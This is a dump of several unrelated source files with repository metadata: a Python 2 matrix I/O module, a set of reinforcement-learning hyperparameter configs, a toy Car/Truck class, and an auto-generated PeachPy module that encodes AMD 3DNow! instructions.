line = copy.copy(orig_line)
# Chomp trailing newline, if any.
if (line[-1] == '\n'):
line = line[0:-1]
# Strip leading and trailing whitespace.
line = re.sub(r"^\s+", r"", line)
line = re.sub(r"\s+$", r"", line)
if (line == ""):
print >> sys.stderr, "pyrcio_m: empty input at line", lno
sys.exit(1)
# Tokenize.
strings = re.split(r"\s+", line)
if ((len(strings) % 2) == 1):
print >> sys.stderr, "pyrcio_m: odd complex input at line", lno
sys.exit(1)
ncplx = len(strings) / 2
j = 0
for i in range(0, ncplx):
v.append(complex(float(strings[j]), float(strings[j+1])))
j += 2
return v
# ----------------------------------------------------------------
def real_row_vector_from_string(orig_line, lno):
v = []
line = copy.copy(orig_line)
# Chomp trailing newline, if any.
if (line[-1] == '\n'):
line = line[0:-1]
# Strip leading and trailing whitespace.
line = re.sub(r"^\s+", r"", line)
line = re.sub(r"\s+$", r"", line)
if (line == ""):
print >> sys.stderr, "pyrcio_m: empty input at line", lno
sys.exit(1)
# Tokenize.
strings = re.split(r"\s+", line)
j = 0
for i in range(0, len(strings)):
v.append(float(strings[j]))
j += 1
return v
# ================================================================
def validate_matrix(A):
nr = len(A)
min_nc = len(A[0])
max_nc = 0
for i in range(0, nr):
cur_nc = len(A[i])
if (cur_nc < min_nc):
min_nc = cur_nc
if (cur_nc > max_nc):
max_nc = cur_nc
if (min_nc != max_nc):
print >> sys.stderr, "pyrcio_m: ragged matrix."
sys.exit(1)
return max_nc
# ================================================================
def read_complex_matrix(file_name = "-"):
nr = 0
nc = 0
A = []
lno = 0
if (file_name == "-"):
file_handle = sys.stdin
else:
try:
file_handle = open(file_name, 'r')
except:
print >> sys.stderr, "Couldn't open \"" + file_name + "\" for read."
sys.exit(1)
while (1):
line = file_handle.readline()
if (line == ""):
break
lno += 1
A.append(complex_row_vector_from_string(line, lno))
nr += 1
nc = validate_matrix(A)
if (file_name != "-"):
file_handle.close()
if ((nr == 0) or (nc == 0)):
print >> sys.stderr, "pyrcio_m: Empty input."
sys.exit(1)
return A
# ----------------------------------------------------------------
def read_real_matrix(file_name = "-"):
nr = 0
nc = 0
A = []
lno = 0
if (file_name == "-"):
file_handle = sys.stdin
else:
try:
file_handle = open(file_name, 'r')
except:
print >> sys.stderr, "Couldn't open \"" + file_name + "\" for read."
sys.exit(1)
while (1):
line = file_handle.readline()
if (line == ""):
break
lno += 1
A.append(real_row_vector_from_string(line, lno))
nr += 1
nc = validate_matrix(A)
if (file_name != "-"):
file_handle.close()
if ((nr == 0) or (nc == 0)):
print >> sys.stderr, "pyrcio_m: Empty input."
sys.exit(1)
validate_matrix(A)
return A
# ----------------------------------------------------------------
def print_complex_matrix(A):
nr = len(A)
nc = len(A[0])
for i in range(0, nr):
for j in range(0, nc):
print "%11.7f %11.7f" % (A[i][j].real, A[i][j].imag),
print
# ----------------------------------------------------------------
def print_real_matrix(A):
nr = len(A)
nc = len(A[0])
for i in range(0, nr):
for j in range(0, nc):
print "%11.7f" % (A[i][j]),
print
| 22.080128
| 72
| 0.509798
| 976
| 6,889
| 3.469262
| 0.115779
| 0.047253
| 0.066155
| 0.07088
| 0.799764
| 0.77407
| 0.758122
| 0.738925
| 0.738925
| 0.738925
| 0
| 0.021868
| 0.190158
| 6,889
| 311
| 73
| 22.151125
| 0.585051
| 0.211932
| 0
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| 5,965
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py
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Python
|
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|
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c2df320a0d1c8df05d4e0a4c15c94144e362fc55
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"MIT"
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|
c2df320a0d1c8df05d4e0a4c15c94144e362fc55
|
[
"MIT"
] | null | null | null |
awr_configs.py
|
anair13/awr
|
c2df320a0d1c8df05d4e0a4c15c94144e362fc55
|
[
"MIT"
] | null | null | null |
AWR_CONFIGS = {
"Ant-v2":
{
"actor_net_layers": [128, 64],
"actor_stepsize": 0.00005,
"actor_momentum": 0.9,
"actor_init_output_scale": 0.01,
"actor_batch_size": 256,
"actor_steps": 1000,
"action_std": 0.2,
"critic_net_layers": [128, 64],
"critic_stepsize": 0.01,
"critic_momentum": 0.9,
"critic_batch_size": 256,
"critic_steps": 200,
"discount": 0.99,
"samples_per_iter": 2048,
"replay_buffer_size": 50000,
"normalizer_samples": 300000,
"weight_clip": 20,
"td_lambda": 0.95,
"temp": 1.0,
"offpolicy_data_kwargs": dict(
demo_path="/home/ashvin/data/s3doodad/demos/icml2020/mujoco/ant.npy",
)
},
"HalfCheetah-v2":
{
"actor_net_layers": [128, 64],
"actor_stepsize": 0.00005,
"actor_momentum": 0.9,
"actor_init_output_scale": 0.01,
"actor_batch_size": 256,
"actor_steps": 1000,
"action_std": 0.4,
"critic_net_layers": [128, 64],
"critic_stepsize": 0.01,
"critic_momentum": 0.9,
"critic_batch_size": 256,
"critic_steps": 200,
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"samples_per_iter": 2048,
"replay_buffer_size": 50000,
"normalizer_samples": 300000,
"weight_clip": 20,
"td_lambda": 0.95,
"temp": 1.0,
"offpolicy_data_kwargs": dict(
demo_path="/home/ashvin/data/s3doodad/demos/icml2020/mujoco/half-cheetah.npy",
)
},
"Hopper-v2":
{
"actor_net_layers": [128, 64],
"actor_stepsize": 0.0001,
"actor_momentum": 0.9,
"actor_init_output_scale": 0.01,
"actor_batch_size": 256,
"actor_steps": 1000,
"action_std": 0.4,
"critic_net_layers": [128, 64],
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"Humanoid-v2":
{
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"critic_stepsize": 0.01,
"critic_momentum": 0.9,
"critic_batch_size": 256,
"critic_steps": 200,
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"LunarLander-v2":
{
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"Walker2d-v2":
{
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"critic_stepsize": 0.01,
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"pen-v0":
{
"actor_net_layers": [128, 64],
"actor_stepsize": 0.00005,
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"actor_init_output_scale": 0.01,
"actor_batch_size": 256,
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"action_std": 0.4,
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"critic_stepsize": 0.01,
"critic_momentum": 0.9,
"critic_batch_size": 256,
"critic_steps": 200,
"discount": 0.99,
"samples_per_iter": 2048,
"replay_buffer_size": 50000,
"normalizer_samples": 300000,
"weight_clip": 20,
"td_lambda": 0.95,
"temp": 100.0,
"load_offpolicy_data": True,
"offpolicy_data_sources": [
dict(
path="/home/ashvin/data/s3doodad/demos/icml2020/hand/pen2_sparse.npy",
obs_dict=True,
is_demo=True,
),
dict(
path="/home/ashvin/data/s3doodad/demos/icml2020/hand/pen_bc_sparse4.npy",
obs_dict=False,
is_demo=False,
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),
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"MIT"
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"MIT"
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my_package/Car.py
|
rafaelvalero/module_packages
|
45b3c875da7d3e8f6f87acc43d5b6cc0293fbf53
|
[
"MIT"
] | null | null | null |
class Car(object):
def setSpeed(self, speed):
print 'Going this fast '+ str(speed)
class Truck(object):
def setSpeed(self, speed):
print 'Going this fast '+ str(speed)
| 20.777778
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py
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|
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"MIT"
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2022-03-25T01:42:09.000Z
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[
"MIT"
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2022-03-25T02:13:08.000Z
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pytorch-frontend/third_party/python-peachpy/peachpy/x86_64/amd.py
|
AndreasKaratzas/stonne
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[
"MIT"
] | 7
|
2021-07-20T19:34:26.000Z
|
2022-03-13T21:07:36.000Z
|
# This file is auto-generated by /codegen/x86_64.py
# Instruction data is based on package opcodes 0.3.14
import inspect
import peachpy.stream
import peachpy.x86_64.options
import peachpy.x86_64.isa
from peachpy.util import is_sint8, is_sint32
from peachpy.x86_64.encoding import rex, optional_rex, vex2, vex3, evex, modrm_sib_disp
from peachpy.x86_64.instructions import Instruction, BranchInstruction
from peachpy.x86_64.operand import is_al, is_ax, is_eax, is_rax, is_cl, is_xmm0, is_r8, is_r8rex, is_r16, is_r32, is_r64, \
is_mm, is_xmm, is_ymm, is_m, is_m8, is_m16, is_m32, is_m64, is_m80, is_m128, is_m256, is_m512, \
is_evex_xmm, is_xmmk, is_xmmkz, is_evex_ymm, is_ymmk, is_ymmkz, is_zmm, is_zmmk, is_zmmkz, is_k, is_kk, \
is_m32k, is_m64k, is_m16kz, is_m32kz, is_m64kz, is_m128kz, is_m256kz, is_m512kz, \
is_m64_m32bcst, is_m128_m32bcst, is_m256_m32bcst, is_m512_m32bcst, \
is_m128_m64bcst, is_m256_m64bcst, is_m512_m64bcst, \
is_vmx, is_vmy, is_evex_vmx, is_evex_vmy, is_vmz, is_vmxk, is_vmyk, is_vmzk, \
is_imm, is_imm4, is_imm8, is_imm16, is_imm32, is_imm64, \
is_rel8, is_rel32, is_label, is_er, is_sae, check_operand, format_operand_type
class PAVGUSB(Instruction):
"""Average Packed Byte Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PAVGUSB(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PAVGUSB, self).__init__("PAVGUSB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PAVGUSB\" requires 2 operands")
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xBF])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xBF])))
else:
raise SyntaxError("Invalid operand types: PAVGUSB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PMULHRW(Instruction):
"""Packed Multiply High Rounded Word"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PMULHRW(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PMULHRW, self).__init__("PMULHRW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PMULHRW\" requires 2 operands")
self.go_name = "PMULHRW"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xB7])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xB7])))
else:
raise SyntaxError("Invalid operand types: PMULHRW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PF2ID(Instruction):
"""Packed Floating-Point to Integer Doubleword Converson"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PF2ID(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PF2ID, self).__init__("PF2ID", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PF2ID\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x1D])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x1D])))
else:
raise SyntaxError("Invalid operand types: PF2ID " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PF2IW(Instruction):
"""Packed Floating-Point to Integer Word Conversion"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PF2IW(mm, mm/m64) [3dnow!+]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PF2IW, self).__init__("PF2IW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PF2IW\" requires 2 operands")
self.go_name = "PF2IW"
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now_plus])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x1C])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x1C])))
else:
raise SyntaxError("Invalid operand types: PF2IW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PI2FW(Instruction):
"""Packed Integer to Floating-Point Word Conversion"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PI2FW(mm, mm/m64) [3dnow!+]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PI2FW, self).__init__("PI2FW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PI2FW\" requires 2 operands")
self.go_name = "PI2FW"
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now_plus])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x0C])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x0C])))
else:
raise SyntaxError("Invalid operand types: PI2FW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PI2FD(Instruction):
"""Packed Integer to Floating-Point Doubleword Conversion"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PI2FD(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PI2FD, self).__init__("PI2FD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PI2FD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x0D])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x0D])))
else:
raise SyntaxError("Invalid operand types: PI2FD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFADD(Instruction):
"""Packed Floating-Point Add"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFADD(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFADD, self).__init__("PFADD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFADD\" requires 2 operands")
self.go_name = "PFADD"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x9E])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x9E])))
else:
raise SyntaxError("Invalid operand types: PFADD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFSUB(Instruction):
"""Packed Floating-Point Subtract"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFSUB(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFSUB, self).__init__("PFSUB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFSUB\" requires 2 operands")
self.go_name = "PFSUB"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x9A])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x9A])))
else:
raise SyntaxError("Invalid operand types: PFSUB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFSUBR(Instruction):
"""Packed Floating-Point Subtract Reverse"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFSUBR(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFSUBR, self).__init__("PFSUBR", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFSUBR\" requires 2 operands")
self.go_name = "PFSUBR"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xAA])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xAA])))
else:
raise SyntaxError("Invalid operand types: PFSUBR " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFMUL(Instruction):
"""Packed Floating-Point Multiply"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFMUL(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFMUL, self).__init__("PFMUL", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFMUL\" requires 2 operands")
self.go_name = "PFMUL"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xB4])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xB4])))
else:
raise SyntaxError("Invalid operand types: PFMUL " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFMAX(Instruction):
"""Packed Floating-Point Maximum"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFMAX(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFMAX, self).__init__("PFMAX", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFMAX\" requires 2 operands")
self.go_name = "PFMAX"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xA4])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xA4])))
else:
raise SyntaxError("Invalid operand types: PFMAX " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFMIN(Instruction):
"""Packed Floating-Point Minimum"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFMIN(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFMIN, self).__init__("PFMIN", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFMIN\" requires 2 operands")
self.go_name = "PFMIN"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x94])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x94])))
else:
raise SyntaxError("Invalid operand types: PFMIN " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFACC(Instruction):
"""Packed Floating-Point Accumulate"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFACC(mm, mm/m64) [3dnow!]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFACC, self).__init__("PFACC", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFACC\" requires 2 operands")
self.go_name = "PFACC"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0xAE])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0xAE])))
else:
raise SyntaxError("Invalid operand types: PFACC " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFNACC(Instruction):
"""Packed Floating-Point Negative Accumulate"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFNACC(mm, mm/m64) [3dnow!+]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFNACC, self).__init__("PFNACC", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFNACC\" requires 2 operands")
self.go_name = "PFNACC"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now_plus])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x8A])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x8A])))
else:
raise SyntaxError("Invalid operand types: PFNACC " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class PFPNACC(Instruction):
"""Packed Floating-Point Positive-Negative Accumulate"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* PFPNACC(mm, mm/m64) [3dnow!+]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(PFPNACC, self).__init__("PFPNACC", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"PFPNACC\" requires 2 operands")
self.go_name = "PFPNACC"
self.in_regs = (True, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.mmx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.three_d_now_plus])
if is_mm(self.operands[0]) and is_mm(self.operands[1]):
self.encodings.append((0x20, lambda op, rex=False: optional_rex(op[0].hcode, op[1], rex) + bytearray([0x0F, 0x0F, 0xC0 | op[0].lcode << 3 | op[1].lcode, 0x8E])))
elif is_mm(self.operands[0]) and is_m64(self.operands[1]):
self.encodings.append((0x30, lambda op, rex=False, sib=False, min_disp=0: optional_rex(op[0].hcode, op[1].address, rex) + bytearray([0x0F, 0x0F]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp) + bytearray([0x8E])))
else:
raise SyntaxError("Invalid operand types: PFPNACC " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
